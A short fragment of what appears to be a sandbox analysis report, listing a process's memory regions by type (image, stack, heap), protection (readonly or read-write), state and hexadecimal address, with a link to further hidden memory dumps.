unkown image
page readonly
clean
7DF5AE530000
unkown image
page readonly
clean
24B80B30000
unkown image
page read and write
clean
6814AFF000
stack
page read and write
clean
1F164750000
unkown image
page readonly
clean
1C5372F0000
unkown image
page readonly
clean
DC0B97F000
stack
page read and write
clean
1C537461000
unkown
page read and write
clean
7FF513961000
unkown image
page readonly
clean
2866000
unkown
page read and write
clean
7FF5BFA02000
unkown image
page readonly
clean
19DEBAB9000
unkown
page read and write
clean
1F16456B000
heap default
page read and write
clean
There are 1301 hidden memdumps, click here to show them.